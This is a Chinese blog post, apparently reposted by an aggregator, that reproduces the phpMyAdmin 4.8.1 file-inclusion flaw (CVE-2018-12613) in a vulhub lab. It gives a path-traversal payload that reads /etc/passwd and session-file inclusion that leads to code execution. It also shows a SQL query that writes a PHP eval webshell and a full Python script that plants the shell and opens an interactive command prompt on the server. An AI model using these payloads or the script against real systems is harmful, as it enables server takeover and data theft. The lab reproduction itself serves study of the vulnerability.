[vulhub]_phpmyadmin_4.8.1_远程文件包含(cve-2018-12613)复现&RCE实现

Posted F1ght!!

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[vulhub]_phpmyadmin_4.8.1_远程文件包含(cve-2018-12613)复现&RCE实现相关的知识,希望对你有一定的参考价值。

[网络安全任重道远]
~
题目有点长
~
是这样的。这是vulhub的复现,算是第一个接触的vulhub吧,FFFLLLAAAGGG
~
vulhub ----- 是一个漏洞集成平台,依赖于docker,可以方便的复现漏洞,github上有
phpmyadmin ----- 是网页版的数据库管理工具,
CVE编号是 ----- CVE-2018-12613,
其漏洞有 ----- 文件包含和远程命令执行,
~

过程

漏洞具体原因可参考:
https://www.cnblogs.com/leixiao-/p/10265150.html
这篇文章
这里直接演示,就是文件包含:
~
打开放在服务器上的vulhub

在这里插入图片描述找到:
在这里插入图片描述进入:
在这里插入图片描述

自动编译环境:

docker-compose build

启动环境并查看端口

docker-compose up -d
docker ps   //查看进程信息

在这里插入图片描述然后访问服务器的8080端口就行了:
在这里插入图片描述

开始测试

payload:

https://www.xxx.com?target=db_datadict.php%253f/../../../../../../../etc/passwd

成功:
在这里插入图片描述尝试在新建查询,执行如下语句:

SELECT '<?=phpinfo()?>';

在这里插入图片描述然后查询cookie中的session值,在网页中进行包含,从而实现命令执行:
在这里插入图片描述得到seesion,在网址栏使用语句:

?target=db_sql.php%253f/../../../../../../../../tmp/sess_+查到的session

成功命令执行,得到phpinfo:
在这里插入图片描述既然可以命令执行,那么可以用file_get_contents函数往上面写码,然后连shell:

SELECT "<?=file_put_contents('1.php','<?php eval(@$_POST[a]); ?>')?>";

然后通过seesion访问其1.php所在位置就行了,就能进行连接了:
~
用python脚本来进行RCE,也可以一直用:


#========================== by F1ght_UwU =========================================================

import re
import requests

#手动得到的session,内存中有
session_1 = 'your_session_use_your_F12_TO_FIND'#需要及时更改


url_import = 'http://your_server/import.php'
url_session = 'http://your_server/index.php?target=db_sql.php?/../../../../../../../tmp/sess_'+session_1
url_testpage= 'http://your_server/F1ght.php'

cmd = '''SELECT "<?=file_put_contents('F1ght.php','<?php eval(@$_POST[fun]); ?>')?>";'''

#定义两个headers
headers_1 = {
	'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0',
	'Accept':'*/*',
	'Accept-Language':'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
	'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8',
}

headers_2 = {
	'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0',
	'Accept':'*/*',
	'Accept-Language':'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
	'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8',
	'X-Requested-With':'XMLHttpRequest',
	'Content-Length':'108',
	'Origin':'http://your_server:your_port',
	'Connection':'close',
	'Cookie':'phpMyAdmin='+session_1+'; pma_lang=zh_CN; ',
	'Pragma':'no-cache',
	'Cache-Control':'no-cache',
}

r = requests.get(url_session,headers = headers_1)
#print(r.text)
pattern = re.compile('s:16:"(.+)";br')
result = pattern.findall(r.text)
#print(result[0])
token = result[0]

data = 'token='+token+'&sql_query='+cmd+'&ajax_request=true'


r = requests.post(url_import,data = data,headers = headers_2)
r = requests.get(url_session,headers = headers_1)
r = requests.get(url_testpage)

#if r.status_code == 200:
	#while 1:
	#print('Success')


def check_status(url):
	r=requests.get(url)
	return r.status_code #尝试状态


def RCE():
	cmd = str(input(':'))
	payload_cmd = {
			'fun':'system("'+cmd+'");' #尝试传入payload来进行命令执行
	}
	#print(payload_cmd)
	r = requests.post(url_testpage,headers=headers_2,data = payload_cmd) 
	print(r.text)
    


if __name__ == '__main__':

	if check_status(url_testpage) == 200:
		while 1:
			print('Success, please input your command')
			RCE()
	else:
		print('sorry, unable to enter this webpage, advice to check your session in your code')
		exit()			
	



记得更改your_sever,和session,改成自己的:
~
执行效果:
在这里插入图片描述

以上是关于[vulhub]_phpmyadmin_4.8.1_远程文件包含(cve-2018-12613)复现&RCE实现的主要内容,如果未能解决你的问题,请参考以下文章

[vulhub]_phpmyadmin_4.8.1_远程文件包含(cve-2018-12613)复现&RCE实现

[vulhub]_phpmyadmin_4.8.1_远程文件包含(cve-2018-12613)复现&RCE实现

phpmyadmin 4.8.1远程文件包含漏洞(CVE-2018-12613)

phpmyadmin 4.8.1远程文件包含漏洞(CVE-2018-12613)

记一次phpmyadmin 4.8.1 远程文件包含漏洞(BUUCTF web)

phpmyadmin远程代码执行漏洞(CVE-2016-5734)